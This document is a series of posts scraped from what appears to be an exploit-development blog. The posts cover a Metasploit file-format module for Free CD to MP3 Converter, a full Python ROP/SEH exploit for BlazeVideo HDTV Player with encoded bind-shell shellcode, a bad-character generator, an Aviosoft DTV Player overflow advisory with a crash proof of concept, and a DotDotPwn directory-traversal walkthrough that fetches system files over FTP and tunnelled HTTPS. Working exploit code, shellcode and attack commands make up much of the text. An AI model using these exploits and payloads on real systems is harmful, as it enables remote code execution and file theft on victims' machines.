       Name: Free CD to MP3 Converter 3.1 Buffer Overflow
     Module: exploit/windows/fileformat/freecdmp3_wav
    Version: 0
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  C4SS!0 G0M3S
  modpr0be

Available targets:
  Id  Name
  --  ----
  0   Windows XP

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.wav          no        The file name.

Payload information:
  Space: 800
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in Free CD to MP3 Converter
  3.1. When the application is used to import a specially crafted wav
  file, a buffer overflow occurs allowing arbitrary code execution.

References:

http://www.osvdb.org/69116

http://www.exploit-db.com/exploits/15480/

msf  exploit(freecdmp3_wav) &gt; set payload windows/shell_bind_tcp
payload =&gt; windows/shell_bind_tcp
msf  exploit(freecdmp3_wav) &gt; set lport 4321
lport =&gt; 4321
msf  exploit(freecdmp3_wav) &gt; exploit 

[*] Creating 'msf.wav' file ...
[*] Generated output file /home/tom/.msf4/data/exploits/msf.wav
msf  exploit(freecdmp3_wav) &gt;</pre>
<p>Dan ketika di load oleh program Free CD to MP3 Converter, sekilas program akan terlihat &#8216;hang&#8217; tapi jika kita lihat melalui netstat:</p>
<div id="attachment_1445" class="wp-caption aligncenter" style="width: 420px"><a href="http://www.digital-echidna.org/wp-content/uploads/2011/09/Program-Manager_2011-09-24_16-39-44.png" rel="lightbox[1406]"><img class="size-full wp-image-1445 " title="Free CD to MP3 Converter" src="http://www.digital-echidna.org/wp-content/uploads/2011/09/Program-Manager_2011-09-24_16-39-44.png" alt="" width="410" height="307" /></a><p class="wp-caption-text">listening on port 4321</p></div>
<p>Dan ketika kita melakukan koneksi ke port tersebut:</p>
<div id="attachment_1446" class="wp-caption aligncenter" style="width: 471px"><a href="http://www.digital-echidna.org/wp-content/uploads/2011/09/vulns1.png" rel="lightbox[1406]"><img class="size-full wp-image-1446 " title="NC on port 4321" src="http://www.digital-echidna.org/wp-content/uploads/2011/09/vulns1.png" alt="" width="461" height="322" /></a><p class="wp-caption-text">nc to port 4321</p></div>
<p>Kita berhasil mengkonversi exploit yang sudah ada ke dalam Metasploit. Sekarang coba porting exploit berbasis SEH yang kemarin sudah kita kerjakan sama-sama <img src='http://www.digital-echidna.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Selamat mencoba!</p>
<div class="shr-publisher-1406"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fporting-your-exploit-to-metasploit%2F' data-shr_title='Porting+Your+Exploit+to+Metasploit'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fporting-your-exploit-to-metasploit%2F' data-shr_title='Porting+Your+Exploit+to+Metasploit'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F09%2Fporting-your-exploit-to-metasploit%2F' data-shr_title='Porting+Your+Exploit+to+Metasploit'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->


title: ScriptFTP <=3.3 Remote Buffer Overflow Exploit (MSF)
source: http://www.digital-echidna.org/2011/10/scriptftp-3-3-remote-buffer-overflow-exploit-msf/
author: otoy
description:
<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>You might be read about the previous post <a title="ScriptFTP Remote BOF" href="http://www.digital-echidna.org/2011/09/scriptftp-3-3-remote-buffer-overflow-exploit-0day/" target="_blank">ScriptFTP Remote BOF</a>, if you are a Metasploit user, you can add this <a title="ScriptFTP EDB" href="http://www.exploit-db.com/exploits/17904/" target="_blank">exploit module</a> to your Metasploit Framework.</p>
<p><img class="alignnone size-full wp-image-1480" title="scriptftp-msf" src="http://www.digital-echidna.org/wp-content/uploads/2011/10/scriptftp-msf.png" alt="" width="544" height="267" /></p>
<p><strong><span style="color: #ff6600;">UPDATE</span></strong>:<br />
Metasploit has released their module for ScriptFTP. You can use it now on Metasploit. Thanks to:<br />
Cyberheb &lt; mrs[at]infosec-id.com &gt;<br />
Otoy &lt; otoy[at]digital-echidna.org &gt;<br />
TecR0c &lt; roccogiovannicalvi[at]gmail.com &gt;<br />
mr_me &lt; steventhomasseeley[at]gmail.com &gt;</p>
<div class="shr-publisher-1463"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F10%2Fscriptftp-3-3-remote-buffer-overflow-exploit-msf%2F' data-shr_title='ScriptFTP+%26%2360%3B%26%2361%3B3.3+Remote+Buffer+Overflow+Exploit+%28MSF%29'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F10%2Fscriptftp-3-3-remote-buffer-overflow-exploit-msf%2F' data-shr_title='ScriptFTP+%26%2360%3B%26%2361%3B3.3+Remote+Buffer+Overflow+Exploit+%28MSF%29'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F10%2Fscriptftp-3-3-remote-buffer-overflow-exploit-msf%2F' data-shr_title='ScriptFTP+%26%2360%3B%26%2361%3B3.3+Remote+Buffer+Overflow+Exploit+%28MSF%29'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->


title: BlazeVideo HDTV Player 6.x Buffer Overflow (another version)
source: http://www.digital-echidna.org/2011/10/blazevideo-hdtv-player-6-x-buffer-overflow-another-version/
author: modpr0be
description:
<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>Hi again, we tried to make a universal DEP and ASLR bypass version on BlazeVideo HDTV Player 6.x. This exploit is already public, but we just want to make it universal.<br />
Take a look at <a title="Mona.py The Manual" href="https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/" target="_blank">mona.py</a> <img src='http://www.digital-echidna.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  awesome tool developed by <a title="Corelan Team" href="https://www.corelan.be" target="_blank">corelanc0d3r and his team</a><br />
So here is the poc, it will bind to port 31337 <img src='http://www.digital-echidna.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <span id="more-1489"></span></p>
<pre class="brush: python">#!/usr/bin/python

import struct
file = 'blazevideo-universal.plf'

totalsize = 5000
junk = 'A' * 872
align = 'B' * 136

#we don't need nseh
seh = '\x4a\x53\x30\x61'	# ADD ESP,800 # RETN
rop = '\x03\x60\x32\x61' * 10	# RETN (ROP NOP)
rop+= '\x7a\x34\x05\x64' 	# POP EDX # RETN
rop+= '\x08\x11\x01\x10'	# ptr to &amp;VirtualProtect()
rop+= '\x03\x05\x01\x64'	# PUSH EDX # POP EAX # POP ESI # RETN
rop+= '\x41\x41\x41\x41'	# Filler
rop+= '\x9f\x94\x60\x61'	# MOV ECX,DWORD PTR DS:[EDX] # POP SOMETHING
rop+= '\x41\x41\x41\x41' * 3	# Filler
rop+= '\x18\x42\x60\x61'	# PUSH ECX # ADD AL,5F # XOR EAX,EAX
rop+= '\x41\x41\x41\x41' * 3	# Filler
rop+= '\xa6\xd1\x03\x64'	# POP EBP # RETN
rop+= '\x41\x41\x41\x41' * 3	# Filler
rop+= '\x5A\x05\x61\x61'	# &amp; push esp #  ret 0c
rop+= '\xA8\x3E\x32\x61'	# POP EAX # RETN
rop+= '\x9D\x79\x39\xA1'	# 0x00000501-&gt; ebx
rop+= '\xfc\x03\x02\x64' 	# ADD EAX,5EC68B64 # RETN
rop+= '\x7b\xd3\x63\x61'	# PUSH EAX # ADD AL,5E
rop+= '\x07\x68\x62\x61' 	# XOR EAX,EAX # RETN
rop+= '\xfc\x03\x02\x64' 	# ADD EAX,5EC68B64 # RETN
rop+= '\x7a\x34\x05\x64' 	# POP EDX # RETN
rop+= '\xDC\x74\x39\xA1'	# 0x00000040-&gt; edx
rop+= '\xfb\x07\x31\x61' 	# ADD EDX,EAX # MOV EAX,EDX
rop+= '\xc0\x1f\x60\x61'	# POP ECX # RETN
rop+= '\x40\x03\x35\x60'	# &amp;Writable location
rop+= '\x07\x9e\x32\x61'	# POP EDI # RETN
rop+= '\x03\x60\x32\x61'	# RETN (ROP NOP)
rop+= '\x95\x65\x60\x61'	# POP EAX # RETN
rop+= '\x90\x90\x90\x90'	# nop
rop+= '\xF1\x0C\x62\x61'	# PUSHAD # RETN

nop = '\x90' * 32

# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=31337, RHOST=, EXITFUNC=process, 

shellcode = (
"\xdd\xc1\xd9\x74\x24\xf4\xbb\xc4\xaa\x69\x8a\x58\x33\xc9\xb1"
"\x56\x83\xe8\xfc\x31\x58\x14\x03\x58\xd0\x48\x9c\x76\x30\x05"
"\x5f\x87\xc0\x76\xe9\x62\xf1\xa4\x8d\xe7\xa3\x78\xc5\xaa\x4f"
"\xf2\x8b\x5e\xc4\x76\x04\x50\x6d\x3c\x72\x5f\x6e\xf0\xba\x33"
"\xac\x92\x46\x4e\xe0\x74\x76\x81\xf5\x75\xbf\xfc\xf5\x24\x68"
"\x8a\xa7\xd8\x1d\xce\x7b\xd8\xf1\x44\xc3\xa2\x74\x9a\xb7\x18"
"\x76\xcb\x67\x16\x30\xf3\x0c\x70\xe1\x02\xc1\x62\xdd\x4d\x6e"
"\x50\x95\x4f\xa6\xa8\x56\x7e\x86\x67\x69\x4e\x0b\x79\xad\x69"
"\xf3\x0c\xc5\x89\x8e\x16\x1e\xf3\x54\x92\x83\x53\x1f\x04\x60"
"\x65\xcc\xd3\xe3\x69\xb9\x90\xac\x6d\x3c\x74\xc7\x8a\xb5\x7b"
"\x08\x1b\x8d\x5f\x8c\x47\x56\xc1\x95\x2d\x39\xfe\xc6\x8a\xe6"
"\x5a\x8c\x39\xf3\xdd\xcf\x55\x30\xd0\xef\xa5\x5e\x63\x83\x97"
"\xc1\xdf\x0b\x94\x8a\xf9\xcc\xdb\xa1\xbe\x43\x22\x49\xbf\x4a"
"\xe1\x1d\xef\xe4\xc0\x1d\x64\xf5\xed\xc8\x2b\xa5\x41\xa2\x8b"
"\x15\x22\x12\x64\x7c\xad\x4d\x94\x7f\x67\xf8\x92\xb1\x53\xa9"
"\x74\xb0\x63\x37\xec\x3d\x85\xad\xfe\x6b\x1d\x59\x3d\x48\x96"
"\xfe\x3e\xba\x8a\x57\xa9\xf2\xc4\x6f\xd6\x02\xc3\xdc\x7b\xaa"
"\x84\x96\x97\x6f\xb4\xa9\xbd\xc7\xbf\x92\x56\x9d\xd1\x51\xc6"
"\xa2\xfb\x01\x6b\x30\x60\xd1\xe2\x29\x3f\x86\xa3\x9c\x36\x42"
"\x5e\x86\xe0\x70\xa3\x5e\xca\x30\x78\xa3\xd5\xb9\x0d\x9f\xf1"
"\xa9\xcb\x20\xbe\x9d\x83\x76\x68\x4b\x62\x21\xda\x25\x3c\x9e"
"\xb4\xa1\xb9\xec\x06\xb7\xc5\x38\xf1\x57\x77\x95\x44\x68\xb8"
"\x71\x41\x11\xa4\xe1\xae\xc8\x6c\x11\xe5\x50\xc4\xba\xa0\x01"
"\x54\xa7\x52\xfc\x9b\xde\xd0\xf4\x63\x25\xc8\x7d\x61\x61\x4e"
"\x6e\x1b\xfa\x3b\x90\x88\xfb\x69")

sisa = 'C' * (totalsize - len(seh+rop+nop+shellcode))
payload = junk+seh+align+rop+nop+shellcode+sisa

f = open(file,'w')
print "Author: modpr0be"
f.write(payload)
print "File",file, "successfully created"
f.close()</pre>
<p>here is the result, tested on Windows 7 SP1:</p>
<p><a href="http://www.digital-echidna.org/wp-content/uploads/2011/10/Screenshot.png" rel="lightbox[1489]"><img class="aligncenter size-full wp-image-1504" title="Screenshot" src="http://www.digital-echidna.org/wp-content/uploads/2011/10/Screenshot.png" alt="" width="494" height="184" /></a></p>
<div class="shr-publisher-1489"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F10%2Fblazevideo-hdtv-player-6-x-buffer-overflow-another-version%2F' data-shr_title='BlazeVideo+HDTV+Player+6.x+Buffer+Overflow+%28another+version%29'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F10%2Fblazevideo-hdtv-player-6-x-buffer-overflow-another-version%2F' data-shr_title='BlazeVideo+HDTV+Player+6.x+Buffer+Overflow+%28another+version%29'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F10%2Fblazevideo-hdtv-player-6-x-buffer-overflow-another-version%2F' data-shr_title='BlazeVideo+HDTV+Player+6.x+Buffer+Overflow+%28another+version%29'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->


title: HEX Generator
source: http://www.digital-echidna.org/2011/11/hex-generator/
author: otoy
description:
<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><pre class="brush: python">
#HEX Generator
#http://www.digital-echidna.org
#0x04112011

def gene():
        c=0
        x=0
        hslgen='"'
        while x <= 255:
          hslhex=hex(x)
          if c == 16:
            hslgen=hslgen+'"\n"'
            c=0
          if x <= 16:
            hslgen=hslgen.replace('0x','\\x0')
          hslgen=hslgen+hslhex
          x+=1
          c+=1

        print "\n#Generated with dE HEX Generator"
        print "#http://www.digital-echidna.org\n"
        print hslgen.replace('0x','\\x')+'"\n'

if __name__ == "__main__":
        gene()
</pre>
<div id='stb-box-8' class='stb-info_box' >It's a useful python script for you.. to find bad chars, when you creating an exploit.</div>
<div class="shr-publisher-1522"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F11%2Fhex-generator%2F' data-shr_title='HEX+Generator+'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F11%2Fhex-generator%2F' data-shr_title='HEX+Generator+'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F11%2Fhex-generator%2F' data-shr_title='HEX+Generator+'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->


title: Aviosoft DTV Player 1.x Stack Buffer Overflow
source: http://www.digital-echidna.org/2011/11/aviosoft-dtv-player-1-x-stack-buffer-overflow/
author: modpr0be
description:
<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>Aviosoft DTV Player is a multiple format video player application. Aviosoft DTV Player 1.0.1.2 and possibly earlier versions fail to properly handle malformed user-supplied data within a playlist (.plf) file before copying it into an insufficiently sized buffer, resulting in a buffer overflow.</p>
<p><span style="color: #ff6600;"><strong>Software Description</strong></span><br />
Aviosoft DTV Player is a multi-media center combines TV/video/DVD playback, video recording, media converting, FM radios connecting in one intelligent program. Aviosoft DTV Player allows users to watch free-to-air TV shows and analog TV shows. Fully supports TV card with BDA interface, stably run with DVB-T, DVB-S, DVB-S2, ATSC, ISDB-T, ISDB-S, CMMB, DMB-T/H TV-tuner.</p>
<p><span style="color: #ff6600;"><strong>Vulnerability Details</strong></span><br />
The main program AviosoftDTV.exe is prone to a remote memory-corruption vulnerability because the application fails to handle malformed playlist files (.plf). When the program try to load specially-crafted .plf file, it fails to perform boundary checking of the user input file, thus overwriting the Structured Exception Handling chain. This can be bypassed by overwrite the SE Handler address and pass the execution to EIP. Since we can control EIP, arbitrary code can be introduced and lead us to code execution.</p>
<p>Attacker can use this vulnerability to exploit user without prior knowledge via SMB or WebDAV share, instead of bring the specially-crafted file directly.<span id="more-1538"></span></p>
<p>Below is the dump result when the exception occured:</p>
<p><code>First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=00001237 ebx=03530318 ecx=000000a3 edx=03537a2c esi=035389d4 edi=00130000<br />
eip=6400f6f0 esp=0012f038 ebp=00000001 iopl=0 nv up ei pl nz ac pe cy<br />
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010217<br />
*** WARNING: Unable to verify checksum for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\MediaPlayerCtrl.dll<br />
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\MediaPlayerCtrl.dll -<br />
MediaPlayerCtrl!DllCreateObject+0x220:<br />
6400f6f0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]<br />
0:000&gt; d fs:[0]<br />
003b:00000000 bc f3 12 00 00 00 13 00-00 f0 11 00 00 00 00 00 ................<br />
003b:00000010 00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................<br />
003b:00000020 4c 05 00 00 50 05 00 00-00 00 00 00 00 00 00 00 L...P...........<br />
003b:00000030 00 a0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................<br />
003b:00000040 c0 02 d8 e1 00 00 00 00-00 00 00 00 00 00 00 00 ................<br />
003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................<br />
003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................<br />
003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................<br />
0:000&gt; d 0012f3bc<br />
0012f3bc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0012f3cc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0012f3dc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0012f3ec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0012f3fc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0012f40c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0012f41c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0012f42c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0:000&gt; g<br />
(54c.550): Access violation - code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9032bc esi=00000000 edi=00000000<br />
eip=41414141 esp=0012ec68 ebp=0012ec88 iopl=0 nv up ei pl zr na pe nc<br />
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246<br />
+0x41414100:<br />
41414141 ?? ???</code></p>
<p><span style="color: #ff6600;"><strong>Proof of Concept</strong></span><br />
Here is the proof of concept:<br />
<code>#!/usr/bin/python<br />
filename = 'test.plf'<br />
junk = "A" * 4000<br />
f = open(filename,'w')<br />
f.write(junk)<br />
print "Malformed",filename,"created successfully."<br />
f.close()</code></p>
<p>full exploit: <a href="http://www.exploit-db.com/exploits/18096">http://www.exploit-db.com/exploits/18096</a></p>
<p><span style="color: #ff6600;"><strong>Solution</strong></span><br />
Unpatched</p>
<p><span style="color: #ff6600;"><strong>Discovered by</strong></span><br />
Tom Gregory from Spentera Research.</p>
<p><span style="color: #ff6600;"><strong>References</strong></span><br />
<a title="Vulnerability Note VU#998403" href="http://www.kb.cert.org/vuls/id/998403">http://www.kb.cert.org/vuls/id/998403</a><br />
<a title="Aviosoft DTV Player 1.x Stack Buffer Overflow" href="http://www.spentera.com/2011/11/aviosoft-dtv-player-1-x-stack-buffer-overflow/">http://www.spentera.com/2011/11/aviosoft-dtv-player-1-x-stack-buffer-overflow/</a><br />
<a href="http://www.exploit-db.com/exploits/18096">http://www.exploit-db.com/exploits/18096</a></p>
<p>PDF Version can be downloaded <a href="http://www.spentera.com/advisories/2011/SPN-06-2011.pdf">here</a></p>
<div class="shr-publisher-1538"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F11%2Faviosoft-dtv-player-1-x-stack-buffer-overflow%2F' data-shr_title='Aviosoft+DTV+Player+1.x+Stack+Buffer+Overflow'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F11%2Faviosoft-dtv-player-1-x-stack-buffer-overflow%2F' data-shr_title='Aviosoft+DTV+Player+1.x+Stack+Buffer+Overflow'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F11%2Faviosoft-dtv-player-1-x-stack-buffer-overflow%2F' data-shr_title='Aviosoft+DTV+Player+1.x+Stack+Buffer+Overflow'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->


title: Directory Traversal with DotDotPwn (HTTPS Mode)
source: http://www.digital-echidna.org/2012/03/directory-traversal-with-dotdotpwn-https-mode/
author: modpr0be
description:
<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>This is my experience when I was dealing with some applications which have a Directory Traversal vulnerability. I was using <a href="http://dotdotpwn.blogspot.com/" title="DotDotPwn - The Directory Traversal Fuzzer" target="_blank">DotDotPwn by nitr0us</a> when finding vulnerability on <a title="Quickshare File Server 1.2.1 Directory Traversal Vulnerability" href="http://www.exploit-db.com/exploits/16105" target="_blank">Quickshare File Server 1.2.1</a> (on the FTP protocol). I also used DotDotPwn when I was doing a pentest on my client. So, let the experience tell you the story.</p>
<p><span style="color: #ff6600;"><strong>Quickshare File Server 1.2.1</strong></span></p>
<p>First, I download the software <a title="Quickshare File Server" href="http://www.quicksharehq.com" target="_blank">here</a>, setup the XP lab machine, download DotDotPwn <a title="DotDotPwn - The Directory Traversal Fuzzer" href="http://dotdotpwn.blogspot.com/" target="_blank">here</a>, and all preparation should be ready. We must setup the Quickshare File Server to point to our FTP directory, let the user set to &#8220;Allow anonymous user&#8221;.<span id="more-1553"></span></p>
<p>Now, launch the DotDotPwn to attack the Quickshare File Server. Here are my attack commands:<br />
bash-3.2# <strong><span style="color: #ff6600;">perl dotdotpwn.pl -m ftp -h 192.168.1.19 -O -s -U anonymous -P &#8216;ftp@mozilla.org&#8217; -b</span></strong></p>
<p>[========== TARGET INFORMATION ==========]<br />
[+] Hostname: 192.168.1.19<br />
[+] Detecting Operating System (nmap) &#8230;<br />
[+] Operating System detected:  Microsoft Windows Server 2003 SP1 or SP2<br />
[+] Protocol: ftp<br />
[+] Port: 21<br />
[+] Service detected:<br />
220 quickshare ftpd ready.</p>
<p>[=========== TRAVERSAL ENGINE ===========]<br />
[+] Creating Traversal patterns (mix of dots and slashes)<br />
[+] Multiplying 6 times the traversal patterns (-d switch)<br />
[+] Creating the Special Traversal patterns<br />
[+] Translating (back)slashes in the filenames<br />
[+] Adapting the filenames according to the OS type detected (windows)<br />
[+] Including Special sufixes<br />
[+] Traversal Engine DONE ! &#8211; Total traversal tests created: 4656</p>
<p>[=========== TESTING RESULTS ============]<br />
[+] Ready to launch 3.33 traversals per second<br />
[+] Press any key to start the testing (You can stop it pressing Ctrl + C)</p>
<p>[+] Username: anonymous<br />
[+] Password: ftp@mozilla.org<br />
[+] Connecting to the FTP server at &#8217;192.168.1.19&#8242; on port 21<br />
[+] FTP Server&#8217;s Current Path: /<br />
[+] Local Path to download files: /pentest/fuzzers/dotdotpwn-v2.1/retrieved_files<br />
[+] Press any key to continue</p>
<p>[+] Testing &#8230;<br />
[*] Testing Path: ../boot.ini<br />
[*] Testing Path: ../windows/system32/drivers/etc/hosts<br />
[*] Testing Path: ../config.inc.php<br />
[*] Testing Path: ../web.config<br />
[*] Testing Path: ../../boot.ini<br />
[*] Testing Path: ../../windows/system32/drivers/etc/hosts<br />
[*] Testing Path: ../../config.inc.php<br />
[*] Testing Path: ../../web.config</p>
<p>[*] CD ../../../ | GET boot.ini <strong><span style="color: #ff6600;"><== VULNERABLE</strong></span></p>
<p>From the result above, we know that QuickShare File Server has a directory traversal vulnerability. You can download any file on the operating system that run Quickshare File Server as long as you know the exact path and the file you want to download. </p>
<p><span style="color: #ff6600;"><strong>DotDotPwn vs SSL</span></strong></p>
<p>Ok, well.. it&#8217;s on a FTP protocol, what if it&#8217;s on FTPS or HTTPS? DotDotPwn, by default, cannot talk to a secure channel such as FTPS or HTTPS. When I was doing a pentest on a client, I was facing a web server with a SSL connection. Since the DotDotPwn cannot launch the attack on a FTPS or HTTPS protocol, we must trick the DotDotPwn to send the attack via a secure channel. How to do this?</p>
<p>You can use Stunnel to set the secure channel, and pass the DotDotPwn to this secure channel made by Stunnel and voila the attack will work properly. Of course you can use Burp as well, but this is just another option when you don&#8217;t have Burp on our machine (euh! why would a pentester won&#8217;t install Burp on their pentest machine?!)</p>
<p><span style="color: #ff6600;"><strong>Make some fun</span></strong></p>
<p>Let&#8217;s have some fun with Stunnel and DotDotPwn, here I installed a vulnerable web application called <a title="Portix-CMS 1.5.0. rc5 Local File Inclusion Vulnerability  " href="http://www.exploit-db.com/exploits/17515/" target="_blank">Portix-CMS</a> on Windows 2003 Server. I setup the Stunnel secure channel to accept a connection on port 8080 , the DotDotPwn will go through this port. Here is my stunnel configuration:</p>
<p>bash-3.2# <strong><span style="color: #ff6600;">cat stunnel.conf</strong></span><br />
cert = /opt/local/etc/stunnel/stunnel.pem<br />
#Don’t forget to download a default cert.<br />
#Some security enhancements for UNIX systems &#8211; comment them out on Win32<br />
client = yes<br />
#options=NO_SSLv2<br />
debug = 5</p>
<p>; Service-level configuration<br />
[https]<br />
accept = 127.0.0.1:8080<br />
connect = 192.168.1.19:443</p>
<p>Note: Follow this <a href="http://www.stunnel.org/?page=howto" title="Stunnel: HOWTO">HOWTO</a> to create your own certificate, also please change your configuration to your own lab!</p>
<p>Now, we can run Stunnel:<br />
bash-3.2# <strong><span style="color: #ff6600;">stunnel /opt/local/etc/stunnel/stunnel.conf</strong></span></p>
<p>And test the connection to the HTTPS protocol:<br />
bash-3.2# <strong><span style="color: #ff6600;">nc localhost 8080</strong></span><br />
HEAD /cms/ HTTP/1.0</p>
<p>HTTP/1.1 200 OK<br />
Date: Sun, 18 Mar 2012 17:08:57 GMT<br />
Server: Apache/2.2.4 (Win32) DAV/2 mod_ssl/2.2.4 OpenSSL/0.9.8d mod_autoindex_color PHP/5.2.1<br />
X-Powered-By: PHP/5.2.1<br />
Set-Cookie: PHPSESSID=f05f1197ceadea3d2625d09da9bb49a3; path=/<br />
Expires: Thu, 19 Nov 1981 08:52:00 GMT<br />
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br />
Pragma: no-cache<br />
Set-Cookie: COMPTEURSIMPLE=Count; expires=Sun, 18-Mar-2012 18:09:01 GMT<br />
Connection: close<br />
Content-Type: text/html</p>
<p>We can see 200 OK, it means that our HTTPS connection via Stunnel is successfully established. Ok, next we will fire up the DotDotPwn against PortixCMS via Stunnel. Here is my setup (you can see DotDotPwn help to understand what i&#8217;m doing with those options)</p>
<p>bash-3.2# <strong><span style="color: #ff6600;">perl dotdotpwn.pl -m http-url -h 127.0.0.1 -x 8080 -O -s -u http://127.0.0.1:8080/cms/print.php?page=TRAVERSAL -k WINDOWS -b -q</strong></span></p>
<p>[+] Report name: Reports/127.0.0.1_03-18-2012_23-59.txt</p>
<p>[========== TARGET INFORMATION ==========]<br />
[+] Hostname: 127.0.0.1<br />
[+] Detecting Operating System (nmap) &#8230;<br />
[+] Operating System detected:<br />
[+] Protocol: http<br />
[+] Port: 8080<br />
[+] Service detected:<br />
Apache/2.2.4 (Win32) DAV/2 mod_ssl/2.2.4 OpenSSL/0.9.8d mod_autoindex_color PHP/5.2.1<br />
[=========== TRAVERSAL ENGINE ===========]<br />
[+] Creating Traversal patterns (mix of dots and slashes)<br />
[+] Multiplying 6 times the traversal patterns (-d switch)<br />
[+] Creating the Special Traversal patterns<br />
